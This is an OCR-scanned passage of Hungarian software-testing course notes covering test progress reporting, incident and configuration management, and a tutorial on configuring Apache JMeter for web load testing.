e A megtervezett tesztesetek hany szdzaléka lett végrehajtva, ebbSl mennyi a hiba
nélkdli.

o Kod lefedettségi mérészamok.

e A tesztelési hatarid6kre az adott hataridére tervezett tevékenységek hany szazaléka
lett végrehaijtva.

Ahhoz, hogy a projekt menedzsment attekinthesse a munka el6rehaladasat, gyakran
alkalmazunk grafikonokat a fenti mérészamok szemléltetésére.

7.4.1 Tesztjegyz6konyvek
A tesztelési tevékenység el6rehaladasardl a teszt vezet6 a tesztel6k altal készitett
jelentésekbdl tajékozddhat. Ezek a jelentések tartalmazhatjak az alabbiakat:

e Milyen tevékenységeket hajtottak végre az adott idészakban.

e A végrehajtott tevékenységeket jellemzé metrikdk, amelyekkel megbecsiilhets, hogy
mennyi hiba maradt még a rendszerben, illetve mennyi er6forrast igényelhet a
maradék hibdk felderitése.

Az IEE 829 szabvany a teszt el6rehaladdsi jegyz6konyvre az aldbbi tartalomjegyzéket
javasolja:

Teszt jegyz6kdnyv azonositd
Osszefoglalas

Altalanos értékelés
Eredmények 0sszegzése
El6rehaladas

ok wnR

A tevékenységek osszefoglalasa

7.4.2 Teszt folyamat ellendrzése

A fenti informacidk értékelésével a tesztmérndk képes kovetni a tesztelési tevékenység
el6rehaladdsat, és oOsszevetheti azt a teszt tervben elGirt hataridékkel. Az igy nyert
informacidk birtokaban, ha szlikségesnek latja, modosithatja a tesztelési tervben foglaltakat.
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Lehetséges tevékenységei:

o Atértékeli a tesztek prioritasait, ha Ugy latja, hogy elére nem lathaté kockazatok
léptek fel.

e Megvaltoztatja a teszt Gitemtervet.

e Megvdltoztatja a teszt kritériumokat,a megvaltozott prioritdsokhoz igazitva.

o Atértékeli a termék kockazatokat, és ennek megfelel6en mdédositja a tesztelési tervet.

A tesztelés el6rehaladasanak értékelése soran a teszt vezet6 olyan problémdkat is
felderithet, amelyeknek megolddsa meghaladja a hataskorét. Illyen esetekben a projekt
menedzserrel kell egyeztetnie, és példaul az alabbiakat tandcsolhatja:

e Egyes kevésbé fontos funkcidkat ki kell venni a kbvetelmény listabdl, hogy a hataridét
tartani lehessen.

e Mddositani  kell az atadasi hataridét, hogy a még szikséges tesztelési
tevékenységeket végre lehessen hajtani.

e At lehet adni a rendszert, de a felhasznaléval tudatni kell, hogy bizonyos funkcidk
még nem lettek alaposan tesztelve. Ilyenkor az lizemszerd hasznalat mellett
folytatddhat a tesztelés. Ez abban az esetben lehet alternativa, ha a gyengén tesztelt
funkciok a gyakorlatban ritkan fordulnak eld.

7.5 Incidens menedzsment
Az incidens a rendszer nem tervezett, varatlan viselkedése, amely tovdbbi vizsgdlatokat
igényel.

A tesztelés idGszakdban az incidensek fellépése gyakori lehet, de a rendszer vdratlan
viselkedése az éles haszndlat kdzben is jelentkezhet.

Az incidens kezelés az IEEE 1044 (Standard Classification for Software Anomalies) szabvany
szerint: ,, A specifikaciotdl eltéré viselkedés felismerése, megvizsgdldsa, és az elharitasara
tett intézkedések egyiittese.”

Az incidensek jelentése a tesztelési folyamat soran igen gyakori tevékenység. Eszkdze lehet
egy telefonhivas, egy feljegyzés, egy e-mail. Ezeknek az ad-hoc eszkdzoknek az elénye az
egyszerliség és a gyorsasag, de hatranyuk, hogy a jelentésnek nem marad nyoma, és a
megoldas statusza nem kovethetd. Ezért az incidensek jelentésére célszer( valamilyen erre a
célra dedikalt szoftvert haszndlni. Ezek az eszkdzok az incidens jelentésétél annak
megoldasaig képesek kovetni a folyamatokat. Erre alkalmas eszkozokre a jegyzet késébbi
fejezetébe lathatunk példat.

7.6 Konfiguracio menedzsment

A fejlesztés folyamata a jelenleg hasznalt inkrementalis fejlesztési stratégia alapjan a szoftver
kiilonb6z6 verzidinak elGallitasat jelenti. Ez a tesztelési folyamatra nézve azt jelenti, hogy a
teszteket a rendszer egymas utan kovetkez6 verzidira kell elvégezni.
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A rendszer fejl6dése sordn a kordbbi rendszer verzidkra lefuttatott teszteket a
tovabbfejlesztett verzidkra is le kell futtatni, bizonyitva azt, hogy a tovabbfejlesztés nem
okozott hibat a kordbban mar implementalt funkciok végrehajtdsaban.

Az inkrementalis fejlesztési stratégiat kovetve tehat a rendszer, és annak helyességét
ellen6rzé tesztesetek szamos verzidja keletkezik. Az egyes verzidokhoz tartozé forraskédok,
dokumentdcidk és tesztesetek nyilvantartdsdara és kezelésére célszerli valamilyen
verzidkezel6 rendszert hasznalni. A jegyzet iras idején a legtdbbet hasznalt rendszerek erre a
célra az SVN és a Maven programok. Ezek free szoftverek.
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Chapter 1. Tesztelés tamogatas

A tesztelés automatizaldsara szamos alkalmazas létezik, kulénb6zd cél-
lal és kilénb6z6 megvaldsitassal. Mi most az Apache JMeter alkalmazas
elvét, hasznalatat fogjuk bemutatni. A webalkalmazasok elterjedése utan
azok tesztelése elengedhetetlen lehetdleg a végfelhasznaloi kdrnyezetben.
A webalkalmazas tesztelése nem csak a helyesség ellendrzésében mertil ki,
hanem életszer( stressz tesztet, teljesitmény tesztet is kell futtatni. A Jmeter
egy széles kdrben hasznalhato teszt alkalmazas, ami kénnyen kezelheté és
hatékony. Segitségével grafikus fellleten megtekinhetjik az eredményeket.

JMeter

Egy web alkalmazas terheléses teszteléseéhez specialis szoftverre van szik-
ség, hacsak nem all az adminisztrator rendelkezésére web bdngészdvel és
sok felesleges id6vel ellatott emberek sokasaga.

Szamos terheléses tesztet végz6 alkalmazas érheté el, beleértve a nyilt
forraskddu szoftvereket és kereskedelmi csomagokat (néhany megfizetheté
€s nehany kluléndésen draga), sét néhanyan (altalaban helytelendl) megir-
jak sajat tesztel6juket. Ebben a fejezetben, mint a terheléses tesztelés
megoldasaként, az Apache projekt JMeter nevil alkalmazasat mutatjuk be. A
JMeter az egyik elérhetd és a legkifinomultabb megoldas. FTP, JDBC adat-
forrasok és Java objektumok terheléses tesztelésére is alkalmas.

A JMeter szamos olyan 6sszetevével rendelkezik, melynek segitségével még
valoszerlbben szimulalhatjuk a felhasznalokat, ezaltal jobb tesztelést elérve:

1. ,Timer” (ld6zit6): Az id6zit6 segitségével lehetéségink van a fel-
hasznaldi kérések koze késleltetést beiktatni. A JMeter tamogatja a
konstans idézitést (a kérések kozott konstans késleltetés), a konstans
ateresztéképességl idbzitést (percenkénti konstans kérésszam) csakugy,
mint a véletlenszer( idézitést, mellyel web oldalunk valds, véletlenszer(
forgalma szimulalhaté.

2. ,Logic Controller” (Logikai vezérld): A végrehajtasi folyamatot vezérli.
3. ,Assertions” (Allitasok): A web szervertél visszaérkezé adatokat ellenérzi.

4. HTTP proxy server” (HTTP proxy szerver): A proxy szerver képes eltarolni
a bodngészé és a szerver kozotti forgalmat, és késébb ezt, mint teszt esetet
felhasznalhatjuk.

5. ,Distributed load testing” (Elosztott terheléses tesztelés): A JMeter szerver
modban is képes futni tdbb JMeter kliens iranyitasaval, igy elosztott ter-
heléses tesztelést is végezhetlnk, kiléndsen, ha a szerver teljesitményét
teszteljuk a fizikai tavolsagra nézve.
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A JMeter telepitése és futtatasa

A JMeter honlapjardl http://jakarta.apache.org/jmeter/ letdlthet6 annak legu-
jabb verzidja (GZIP, ZIP formatumban). Ebben a fejezetben a JMeter 2.4-
es verziojaval foglalkozunk. A telepitéshez egyszerlien csak témoéritsuk ki a
fajlokat (java alkalmazas). A JMeter harom maodban futtathaté:

1. Onallé GUI alkalmazasként
2. Nem interaktivan, parancssorbdl, vagy Ant szkriptet hasznalva
3. Szerven modban elosztott teszteléshez

Altalaban 6nallé alkalmazasként futtatjuk. A JMeter elinditasahoz a bin
kényvtarban lévé jmeter.bat fajlt (Windows alatt) vagy a jmeter shell szkriptet
(Linux vagy Unix alatt) inditsuk el.

Teszt eset fogalma, készitése és értelmezése
JMeter segitsegevel

A JMeter felhasznaldi fellletének bal oldali paneljaban fa szerkezetben
lathatjuk a hozzaadott elemeket és eseményeket, a jobb oldali panelban a
hozzaadott elemek kimenete lathato, és konfiguralasa végezhetd el. Minden
JMeter munkafolyamat kézpontja a teszt eset, amely a végrehajtandé fe-
ladatokat tartalmazza. A teszt eset a teszt fa gydkéreleme. Teszt esethez a
helyi menlbdl (jobb klikk a csomoponton) adhatunk hozza elemeket az ,Add”
menUpontot valasztva.

Az (dvozl6 képernyd masik eleme a ,workbench” (munkapad), amely a teszt
esethez még hozza nem adott teszt elemeket tartalmazza. A munkapadon
kisérletezhetlink a konfiguracidkkal, mozgathatjuk azokat a kilénb6z6 teszt
esetek kozaott.

A specialis beadllitasi lehetdseégek el6tt a lehetd legegyszerlibb teszt eseten
keresztul fogjuk bemutatni egy HTTP szerver tesztelését. Minden teszt eset
elsé eleme egy ,thread group” (szalak csoportja). A ,thread group” nem mas,
mint elemek kollekcidja. Minden egyes ,thread group” Java szalak sajat hal-
mazaval és kilénbdzé konfiguracioval rendelkezik.

A bal oldali panelben a teszt eseten jobb egérgombbal kattintva, és az ,Add”
menupontot valasztva, hozzaadhatunk egy ,thread group” elemet a teszt es-
ethez. Ezek utan a bal oldali panelben a ,thread group” elemet kivalasztva, a
jobb oldali panelben végezhetjik el a konfiguralast:
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Figure 1.1. Teszt csoport Iétrehozasa a JMeter-ben

— — R ————— - 9
= Apache IMeter (2.4 r961953) =] B S

’Ele Edit Run Options Help

fie

? 4 TestPlan
E““ Thread Group

i=| WorkBench

Thread Group

Hame: iTe szt Csoport

Comments:
Action to be taken after a Sampler error

@ Continue ' Stop Thread ( Stop Test (_ Stop TestHow

Thread Properties

Number of Threads (users): |1 |

Ramp-Up Period (in seconds): |1 |

|Loop Count: [ | Forever |1 |

[ ] Scheduler

A kovetkezd konfiguralasi beallitasok érhetéek el:

1. ,Name” (Név): A nevet hagyhatjuk valtozatlanul egy egyszerl teszt eset-
nél, de ha tébb ,thread group” elemink is van, érdemes elnevezni 6ket,
hogy késébb kdnnyebben meg tudjuk kulénbdztetni azokat.

2. ,Number of Threads” (Szalak Szama): A végrehaijtas soran felhasznalhato
szalak szama. Minden szal egy tovabbi felhasznalénak felel meg, melyek
egyidejlleg hajtjak végre a csoporthoz rendelt feladatot.

3. ,Ramp-Up Period” (Id6kodz): A JMeter egy ,thread group” indulasakor egy
szalatindit el, és a folyamat soran egyenletesen inditja el az ujabb szalakat
"id6kdz" késleltetéssel, amig el nem éri a szalak szamanal megadott max-
imalis értéket.

4. ,Loop Count” (Ismétlések Szama): Itt megadhatd, hogy a ,thread group”-
ban levé fonal hanyszor futtassa le a hozza rendelt elemeket. Az alapbeal-
litas egy. Ha a ,,Forever” (végtelen) lehet6séget valasztjuk, a tesztelési terv
elemeit addig futtatja ujra és Ujra a ,thread group”, amig le nem allitjuk.

5. ,Scheduler” (Utemezé): Az indulas és befejezés datumat és idSépontjat al-
lithatjuk be. llyenkor nem kell kézzel leallitanunk.

Ha példaul a szalak szamat 200-ra (200 szimulalt felhasznald), az id6kozt
egy masodpercre és az ismétlések szamat 2-re allitjuk (minden kérés kétszer
kerll elkildésre), akkor 6sszesen négyszaz kérést fog lekildeni az eszkdz,
amibdl 200-200 kdzel egy idében fog indulni.
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Az el6z6ekben hozzaadott ,thread group” elemet fogjuk hasznalni. A ,thread
group” ikonjan jobb egérgombbal kattintva, a helyi menubdl az ,Add”, utana
a ,Sampler”’, majd a ,HTTP Request” menlupontokat valasztva.

A bal oldali panelrél a ,HTTP Request”’ elemet kivalasztva, a jobb oldali pan-
elben jelenik meg az el6z6eknél 6sszetettebb konfiguralasi panel

Ezen a képernydn a szerver beallitasok érhetéek el, melyek kdzul néhany
jelentése nyilvanvald. A kevésbé egyértelmi beallitasok:

1.
2.

,Protocol” (Protokoll): Ertéke HTTP vagy HTTPS lehet.

,Method” (Mdédszer): A HTTP kérésnél hasznalt médszer megadasa (GET,
POST, HEAD, PUT, OPTIONS, DELETE, TRACE). Web alkalmazas
tesztelésénél altalaban a GET vagy a POST mddszert hasznaljuk a kért
oldaltol figgben.

. ,Path” (Utvonal): A tesztelni kivant oldal URI-je (Universal Resource Iden-

tifier). GET modszer esetében a paramétereket (peldaul: ?nev=ertek) nem
ebben a mezdében kell megadni.

. ,Follow Redirects” (Atiranyitas): A web szerver specialis HTTP valaszt ad-

hat vissza, melyben masik URL-re iranyitja a web bdngészét (a HTML
és egyeb tipusu tartalmakkal ellentétben). A bongészdk altalaban a fel-
hasznal¢ altal észrevehetetlenll kdvetik az atiranyitast. Altalaban engedé-
lyezzUk.

,Use KeepAlive” (Kapcsolat fenntartasa): A legtébb web szerver és
bdngészd tamogatja, hogy a koéztik 1évé kapcsolat ne szakadjon meg
azonnal, amint a szerver valasza megérkezik a bongész6héz, hanem egy
rovid ideig még fenntartjak azt, az ugyanazon bdngész6tdl érkezé es-
etleges tovabbi kérések érdekében (,keep-alive” kapcsolat). Terheléses
tesztelés esetében érdemes ezt a lehetéséget valasztanunk.

.~oend Parameters with the Request” (Paraméterek): A GET és POST
paramétereket lehet megadni. Az Encode oszlopban jelezhetjik, hogy a
névre és az értékre kell-e HTTP kodolast alkalmazni. Példaul az & karakter
€s a sz0kodz kodolasa szikséges. Az Include Equals oszlopban jelezhetjuk,
ha azon ritka esetrél van sz6, mikor a web alkalmazas nem szamit ra, hogy
a név és az érték kozott egyenldség jel (=) van.

. ,Filename” (Fajlnév): HTTP POST kérés esetében lehetéség van fajl

feltdltésre is. Ebben a mezében adhatjuk meg, hogy melyik fajl kildje fel
a kérés paramétereként.

. »Value for ,name” attribute” (Név attributum): A fajlokat kulcs-érték parként

toltik fel. Ezt a mez6t hasznalhatjuk a kulcs nevének megadasara, mellyel
a tovabbiakban a feltoltétt fajlra hivatkozunk.

. ,MIME type” (MIME tipus): A feltoltétt fajl tipusat adhatjuk meg. Példaul

HTTP fajl esetében text/html, Adobe Acrobat fajl esetében application/pdf
a megfelel6 MIME tipus.
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10,,Retrieve All Embedded Resources from HTML Files” (Beagyazott fajlok):
Egy web béngészdnek az eredeti HTML kéréstdl kilon kell kérnie a HTML
oldal altal hivatkozott képeket és egyéb tartalmakat (példaul CSS oldalak).

Miutan megadtuk a kérés paramétereit, utasithatjuk a JMeter-t, hogy
kérésekkel bombazza a web alkalmazast. A ,Run” menibél a ,Start”
menulpontot kivalasztva indithatjuk el a tesztelést. Elsé alkalommal a JMeter
felajanlja a teszt elmentését.

Miel6tt azonban a tesztet futtatnank, még néhany paremétert be kell allita-
nunk, hogy a teszt eredményét meg is tudjuk tekinteni.

A JMeter tervezésekor szempont volt, hogy a teszt eset futtatasa elkuloniljon
a tesztelési eredmények begyUjtésétdl és elemzésétdl. A begylijtést az ,Ob-
server’ (Megfigyel6), vagy mas néven ,Event Listener desing pattern” (Es-
emeény Figyel6 Tervezési Minta) valdsitja meg. Az utdbbi elnevezés tikrozi
a JMeter felhasznaldi interfészén hasznalt terminoldgiat. Az tevékenységek
végrehajtasaért a ,Controllers” (Vezérl6), mig az azokra vald reagalasért a
Jistener” (Figyel6) a felel6s. Tehat ahhoz, hogy a teszt eset eredményeit
megtekinthessulk, egy ,listener” elemet kell hasznalnunk.

A ,thread group” ikonjara jobb egérgombbal kattintva, az ,Add”, majd a ,Lis-
tener” mendpontokat valasztva, egy ,listener’-t adhatunk hozza a teszt es-
ethez. Valasszuk a ,View Results Tree” beépitett listener’-t.

A bal oldali panelben kivalasztva a ,View Results Tree” ikont, a jobb oldali
panelben megjelenik a kimeneti képernydje. A listener” nem igényel konfig-
uralasi beallitasokat. ,View Results Tree” listener’-rel futtatva a teszt esetet,
minden valasz azonnal lathaté, amint megérkezett. A jobb oldali panelben a
fa szerkezet egy elemét kivalasztva, a szerver valasza a ,Response Data” fill
alatt lathat6 a jobb oldali panel alsé részében.

Mielbtt elinditanank a tesztet, a jelenlegi JMeter konfiguraciét mentsik el a
bal oldali panelben a teszt eset ikonra jobb egérgombbal kattintva, majd a
,~Save As” menlpontot valasztva.

Az elsé teszt eset készen all a futasra. A menusorbdl a ,Run”, majd a ,Start”
lehetéséget valasztva indithatjuk el a tesztet, de elétte kattintsunk a ,View
Results Tree” elemre. A teszt inditasa utan a jobb oldali panelben a fa gydkere
koényvtar ikonna alakul at, ahogy a teszt eredmények elkezdenek érkezni. A
gyokérre duplan kattintva lathatd valnak az egyedi teszt eredmények. Az al-
s6 panelben az eredmények valamelyikére kattintva megjelennek a valasz
adatok, ugy mint letdltése id6 (ezred masodpercben), HTTP valasz kod-
ja és szovege. A kapott valasz szbvegét, valamint 6sszes informaciojat is
megtekinthetjuk (akar kategdria nézetben, parsed):




Tesztelés tamogatas

Figure 1.2. Teszt eredménye a TreeView-ban (JMeter)
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Mivel a szalak és az ismétlések szamat is egyre allitottuk, igy a teszt pontosan
egyszer futott le. A tanszéki weboldalunkat teszteltik. Itt lathatd, hogy egy
kérés harom kérést eredményezett, mert szerver oldalon at van iranyitva. A
.thread group” konfiguralasanal megadhatunk nagyobb értékeket ujabb fut-
tatashoz, ezeket a beadllitasokat a késébbi példakban még hasznalni fogjuk.

JMeter eszkozok

A ,View Results Tree” képerny6jén manualisan, egyesével végigkattintgatni
az egyes eredményeket, nem valami hatékony mod a terheléses tesztelés
adatainak elemzésére. Mindazonaltal az el6z6 példaban egy egyszerli mod-
szert mutattunk be, melynek nyilvanvaléan vannak korlatai. Szerencsére
a JMeter szamos eszkdzzel tamogatja az adatgyijtést és elemzést. A
kovetkezbk a JMeter f6bb eszkdzei:

1. ,Timer” (1d6zitd)
.Listener” (Figyeld)

,Logic Controller” (Logikai vezérld)

w0 DN

~Sampler” (Minta vételez6)
5. ,Config Element” (Konfiguraciés beallitasok)

A kovetkezd bekezdésekben ezen eszkdézok HTTP-hez kapcsold fébb
jellemzéit vizsgaljuk meg.

Timer - id6zito

Az el6z6 példaban egy szalat hasznaltunk, és egy kérést kuldtink a sz-
ervernek a teszt befejezése el6tt. Ha az ismétlés szamot egy nagyobbra alli-
tottuk volna be a ,thread group” konfiguraciéjanal, akkor annyi kéréssel bom-
baztuk volna egymas utan a szervert. A valésagban a web szerver hasznalat
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azonban nem ennyire egyszerl. Néha tobb kérés érkezik egyszerre, és a
kérések kozott eltelt id6 véletlenszerd.

A kérések valésaghibb szimulalasahoz . timer” elemet adhatunk hozza a
sLthread group” elemhez. A ,timer” elemek segitségével beadllithatd az egyes
szalak kéréseinek gyakorisaga és sebessége. A JMeter altal tamogatott
Limer” tipusok:

1. ,.BeanShell timer” (BeanShell I1d§zit6)

2. ,Constant throughput timer” (Konstans Atereszt6képességii 1d6zitd)
3. ,Constant timer” (Konstans 1d6zitd)

4. ,Synchronizing timer” (Szinkronizalo 1d6zit6)

5. ,Gaussian random timer” (Gauss-véletlen |d6zitd)

6. ,Uniform random timer” (Véletlen Id6zitd)

A legtdbb ,timer” két kategdriaba sorolhatd: véletlen és konstans.

A ,Constant timer” és a ,Constant throughput timer” konstans ,timer”- tipusok.
A ,Constant timer” egy konfiguralhatd és konstans késleltetést illeszt be az
egyes szalak altal elkiildott kérések kozé. A késleltetést ezred masodpercben
kell megadni, az alapértelmezett értek 300. A ,Constant throughput timer”
segitségével viszont elkerilhetjik az ezred masodpercekkel valé bajlodast,
helyette beallithatjuk, hogy az egyes szalak percenként mennyi kérést gen-
eraljanak. Az alapértelmezett érték 60 kérés percenként.

Véletlen ,timer” tipus a ,,Uniform random timer” és a ,,Gaussian random timer”.
Ezen ,timer” tipusok véletlenszerlen kiszamitott késleltetéseket illesztenek
be az egyes szalak altal generalt kérések kdzé, igy sokkal jobban szimulaljak
a valos vilag forgalmat. A ,Uniform random timer” egy valéban véletlen
késleltetési id6kdzt ad hozza a konfiguralhatd konstans késleltetéshez, amig
a ,Gaussian random timer” statisztikai szamitasokat hasznalva pszeudo-
véletlen késleltetést general. Mindkét véletlen tipusu ,timer” egy konfigural-
hatd, konstans id6k6zh6z adja hozza az altala generalt véletlen késleltetést.

A ,Synchronizing timer” segitségével felfliggesztheté a szalak mikddése,
amig a felfliggesztett szalak szama egy bizonyos (elére beallitott) nagysagot
el nem ér, majd egyszerre engedhetjik el valamennyi szalat. Ez a fajta ,timer”
jol hasznalhatd, ha a teszt esetiink egy adott pontjan egy el6re meghatarozott
nagysagu terhelésre van szikségunk.

A ,BeanShell timer”, melynek segitségével BeanShell szkriptet irhatunk a
késleltetés generalasara. A BeanShell a JRE-n bellil futé szkript nyelv.

A ,thread group” ikonjan jobb egérgombbal kattintva, a helyi mentbél az
,Add”, majd a ,Timer” menlpontot valasztva, a kivant tipusu ,timer” elemet
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adhatjuk hozza a teszt esethez. Egy ,thread group” elemhez hozzaadott
Llimer” hatassal van a teljes ,thread group”-ra, de nincs semmilyen hatassal a
tars ,thread group” elemekre. Egy ,thread group” elemhez tobb ,timer’-t hoz-
zadadva mellékhatasok varhatoak.

Listener - figyel6

Ahogy korabban mar emlitettik, a ,listener” segitségeével kdvethetjik nyomon
a kéréseket és reagalhatunk azok eredményeire. A korabbi példaban a ,View
Results Tree” listener” alkalmazasaval kerlltek bemutatasra a szerver altal
visszakuldoétt adatok, ugy mint a valasz idd, HTTP valasz kodja és szdvege.
A listener” csak azon ,thread group” tevékenységét figyeli, melyhez hoz-
zaadtuk. Példaul, tekintsiik az A és B ,thread group”-t. A B-hez hozzaadott
Jlistener” teljesen figyelmen kivil hagyja, mi térténik az A hataskérében. A
kovetkezd tablazatban talalhatéak a JMeter altal alapértelmezésben tdamoga-
tott listener” tipusok.

,Listener” Leiras

,Assertion Results” (Allitds Nézet). |A ,thread group” ,Assertion” ele-
meinek kimenetét abrazolja.

,Graph Full Results” (Teljes Grafikon|Egy teljes grafikon segitségével abra-
Nézet). zolja a kérések valasz idejét.

,Graph Results” (Grafikon Nézet). Egyszer(l grafikon nézet, a ,thread
group” minden kérés adatait, valasz
idejének atlagat és szérasat abrazol-

ja.

~oimple Data Writer” (Egyszerl|Fajlba irja a tesztelt URL-eket és

Adatiro). azok valasz idejét késébbi elemzés
céljabal.

.View Results in Table” (Tablazat|Tablazatba rendezve, valds idében

Megjelenités). tekinthetjlk meg a teszt ered-
meényeket.

.View Results Tree” (Fa Megje-|Fa strukturaba rendezve, valds

lenités). idében tekinthetjik meg a teszt ered-
ményeket.

,Aggregate Report” (Osszegzé Jelen-|Az egyes eréforrasokrdl jelenit meg

tés). 0sszegz6 informacidkat, ugy mint
kérések szama, atlagos valasz idé,
stb.

.opline Visualizer” (Gdérbe Megje-|A teszt eset futasa alatt grafikon

lenitd). nézetben tekinthetjuk meg az 6sszes

adatot. A tesztelési eredményeket in-
terpolalt gérbe formajaban is megje-
lenithetjuk.

A ,listener” elemek az alabbi kategériakba sorolhatok:
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1. ,Visualization listeners” (Megjelenité Figyel6)
2. ,Data listeners” (Adat Figyeld)

3. Egyéb

Megjelenitd figyel6k

A ,Graph Full Results”, ,Graph Results” és a ,Spline Visualizer” minde-
gyike grafikusan, valos id6ben abrazolja a teszt eredményeket. A ,Graph Re-
sults” (a kdvetkezb abran lathatd) ezek kozul a legegyszeriibb és legnépsz-
erlbb, mely kékkel abrazolja az atlagos valasz id6t, pirossal a szoérast, lilaval
a mediant, zolddel az atereszt6képességet és feketével az egyedi adat pon-
tokat. Grafikon nézetben a median és az ateresztéképesség rejtve vannak.
Az abran a fels6 vonal a szoras, az alsé vonal az atlagos valaszidd, az adat
pontokat pedig pontokkal abrazoltuk.

Figure 1.3. Egy példa ,,Graph Results listener” elemre a JMeter-
ben

Adat alapu figyel6k

Ebbe a kategdriaba tartoznak a ,Simple Data Writer”, a ,View Results in Ta-
ble” és a ,View Results Tree” ,listener” tipusok, melyek a szerver altal vis-
szaadott nyers adattal, valasz idével és kéddal dolgoznak. A ,Simple Data
Writer” tipus egy kissé feleslegesnek tlinhet, mivel minden mas ,listener” el-
emmel is fajlba menthetéek a nyers adatok. De abban az esetben, ha nem
hasznalunk masik ,listener’-t, a ,Simple Data Writer” hasznos lehet az adatok
kimentésénél. A nyers adatok exportalasa fontos lehetéség, hiszen igy a fel-
hasznaldnak lehetésége van mas eszkdzdkbe importalni és részletesebben
elemezni azokat.

Az adatok fajlba irhatéak a ,Write All Data to a File” lehetéségnél a fajl
kivalasztasaval. Alapértelmezésben a fajlformatum CSV, de a konfiguralas
gomb hasznalataval XML formatum is beallithato.

Az ,Aggregate Report”, egy masik fajta ,Data listener”, tdbb mint a nyers
adatok megjelenitésére hasznalhat6 figyel6. URL-enként rendezi el a nyers




Tesztelés tamogatas

adatokat, és az URL altal tartalmazott 6sszes adat pontrdl 6sszegzést szol-
galtat. Ez egy hasznos és tdmdér médja a teljesitmény nyomon kdvetésének,
a grafikus megjelenités és a nyers adatok figyelése kozti egyensuly
megteremtéseének.

Figure 1.4. Egy példa ,Aggregate Report” elemre a JMeter-ben
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Controller - vezérlok

A ,Logic Controller” (Logikai Vezérld) els6dleges feladata a végrehajtasi
folyamat vezérlése. Tovabbi, futtathatd teszt eset elemeket tartalmaz. Egy
sLthread group” elemhez hozzaadott ,Logic Controller” a szilé csomopont-
bol egy egyszer(, futtathaté csomépontnak latszik. Egy ,Logic Controller”
csomoponthoz hozzaadott elemek az adott ,Logic Controller” szabalyainak
megfeleléen fognak lefutni. A ,thread group” elemhez hasonléan a ,Logic
Controller’ elemhez hozzaadott elemek, ,listeners”, ,timers”, stb. a ,Logic
Controller” lokalisan lathato elemei lesznek. A ,Logic Controller” elemek a
JMeter-ben tulajdonképpen a programozasi nyelvek while, for, és function
utasitasainak felelnek meg, ezek a kdvetkezdk:

1. Interleave Controller
2. Switch Controller

3. Simple Controller

4. Loop Controller

5. If Controller

6. While Controller

7. ForEach Controller
8. Include Controller

9. Module Controller
100nce Only Controller

11Random Controller

10
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12Random Order Controller
13Runtime Controller

14 Throughput Controller
15Transaction Controller
16Recording Controller

Minden egyes alkalommal, amikor az ,Interleave Controller” (Osszefésiil6
Vezerl6) szuld csomopontja lefut, a ,controller” is lefuttat egyet az alaren-
delt elemek kozul. Az alarendelt elemek lefuttatasanak sorrendje megegyezik
a konfiguracios faban lévd sorrendjukkel. Példaul, ha a felhasznalé Iétreho-
zott egy ,thread group”-t 14 ismétlés szammal, és alatta egy ,Interleave Con-
troller’-t négy alarendelt elemmel, akkor a ,controller” elemhez tartozé vala-
mennyi elem harom alkalommal fut le, majd a sorrendben elsé két elem még
egy negyedik alkalommal is lefut (4 + 4 + 4 + 2 = 14). Az ,Interleave Con-
troller” elemmel 6l tesztelhet6 az olyan folyamat, amikor minden egyes kérés
az 6t megel6z6 kéreés sikeres befejezésétdl fligg. Példaul egy online vasarlo
alkalmazas esetében a felhasznal6 el6szér megkeresi az arut, beleteszi a
kosaraba, megadja a kartyaja adatait, majd véglegesiti a rendelést.

A ,Switch Controller” (Kapcsolé Vezérld) minden iteraciéban egy alarendelt
elemet futtat le, csak ugy, mint az ,Interleave Controller’, azonban, ahelyett,
hogy sorban futtatna le éket, egy valtozoban meghatarozott érték szerinti sor-
rendet tekint.

A ,Simple Controller” (Egyszerl Vezérl6) minden alarendelt eleme lefut min-
dannyiszor, ahanyszor a ,thread group” lefut. A teszt elemek logikai elren-
dezésére hasznalhatd, mint ahogy a kényvtarak a fajlrendszerben logikailag
elkulénitik a fajlokat. Ha egy sok funkcionalitassal bird oldalt vetlink ala ter-
heléses tesztelésnek, hasznos lehet ,Simple Controller’-t hasznalni a tesztelt
funkcionalitasok és a kapcsolddé modulok elvalasztasara, hogy a teszt es-
et atlathatd maradjon. Ez olyan, mint amikor nagy szoftver projektek es-
etében a projekt modulokra és funkcidkra osztasaval fokozzak a szoftver fen-
ntarthatésagat.

A ,Loop Controller” (Ismétlés Vezeérl6) a konfiguracios beallitasainal megadott
alkalommal futtatja le az dsszes alarendelt elemet. Tehat valamennyi ,Loop
Controller” ala rendelt elem annyiszor fog lefutni, amennyi a beallitott értek,
szorozva a szulé csomopontnal beallitott ismétlés szammal. Ha egy ,Logic
Controller” ismétlés szama négyre van beallitva, és a sztlé ,thread group”
ismétlés szama is négy, akkor a ,Logic Controller” valamennyi alarendelt el-
eme 16 alkalommal fog lefutni.

,If Controller” (Ha Vezérl6) segitségével az alarendelt elemek lefutasa egy
feltételtdl tehetd fuggbve.

A ,While Controller” (While Vezérl6) addig futtatja le Ujra és Ujra az alarendelt
elemeket, amig a megadott feltétel hamis.

11
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.,Module Controller” (Modul Vezérl6) segitségével a felhasznal6 teljesen
mas helyekrél adhat hozza a teszt esethez elemeket. A ,Module Controller”
segitségével mdédszereket futtathatunk (mas szoval fuggvényt, eljarast). Ez
kiléndsen hasznos, ha a tesztelésnél szeretnénk alkalmazni a programozok
altal kedvelt ujrafelhasznalasi alapelveket. Ez a fajta ,controller” jol hasznal-
hato akkor is, ha a teszt elemek fizikai mozgatasa nélkil szeretnénk megter-
vezni egy teszt esetet.

Nem meglep6 modon a ,Once Only Controller” (Csak-Egyszer Vezérld)
alarendelt elemei a terheléses tesztelés soran csak egyszer futnak le. Ez
a fajta ,controller” hasznalhat6é kezdeti bejelentkezés lefuttatasara, olyan al-
kalmazas entitas létrehozasara, melytél mas tesztek flggnek (példaul egy
megrendelés elkészitése online vasarlas esetén, mely azutan kéréseken
keresztul manipulalhatd), vagy barmilyen mas olyan muivelet elvégzésére,
melynek csak egyszer kell lefutnia.

A ,Random Controller” (Véletlen Vezérlé) ugy mikddik, mint az ,Interleave
Controller”, egy kivétellel: amig az ,Interleave Controller’ az alarendelt ele-
meket egymas utan, sorrendben futtatja le, addig a ,Random Controller” min-
den alkalommal véletlenil valaszt egy elemet az alarendelt elemei kdzil.

A ,Throughput Controller” (Atereszt6képesség Vezérl6) egy olyan mechaniz-
must szolgaltat a teszteléshez, mellyel korlatozhatjuk az elkildétt kérések
szamat. A ,controller” a neki kuldott kéréseknek csak egy részhalmazat kul-
di tovabb az alarendelt elemeinek. Ez a részhalmaz definialhaté teljes vagy
szazalékos médon. Példaul a ,, Throughput Controller” beallithat6 ugy, hogy a
